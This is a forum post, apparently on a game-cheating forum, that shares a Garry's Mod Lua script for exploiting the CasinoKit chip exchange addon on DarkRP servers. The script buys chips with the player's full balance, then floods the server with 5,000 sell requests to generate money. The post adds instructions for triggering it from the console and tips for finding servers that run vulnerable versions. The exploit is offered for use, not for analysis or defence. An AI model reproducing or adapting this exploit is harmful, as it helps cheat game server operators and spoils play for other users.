Originally Posted by
Fumzou
local succ, err = pcall( net.Start, "casinokit_chipexchange" )
local ply = LocalPlayer()
if succ == true then
concommand.Add( "chipsell", function()
local moneylog = ply:getDarkRPVar("money")
--Buy chips
net.Start("casinokit_chipexchange")
net.WriteEntity(self)
net.WriteString("darkrp")
net.WriteBool(true)
net.WriteUInt(ply:getDarkRPVar("money"),32)
net.SendToServer()
--Sell chips
timer.Simple(3, function()
for i=1, 5000 do
net.Start("casinokit_chipexchange")
net.WriteEntity(self)
net.WriteString("darkrp")
net.WriteBool(false)
net.WriteUInt(moneylog*0.10,32)
net.SendToServer()
end
end)
end)
timer.Simple(1,function() surface.PlaySound("vo/k_lab/kl_excellent.wav") end)
ply:ChatPrint( "Casinokit HAS been found!")
else
timer.Simple(1,function() surface.PlaySound("vo/npc/male01/uhoh.wav") end)
ply:ChatPrint( "Casinokit HAS NOT been found!")
end
- - - Updated - - -
This doesn't work on all servers with chip exchange. But if you can find the odd few with the old version, then you can get some serious dosh :P
Timing out is normal. If you get a client overflow just rejoin. It usually means it worked.
You can only do this once per account on a server since your chips go into -
To activate the money exploit type chipsell into console after the plugin has been loaded. Upon the plugin loading it will tell you if the server has casino exchange. If not it will not add the console command and will not work.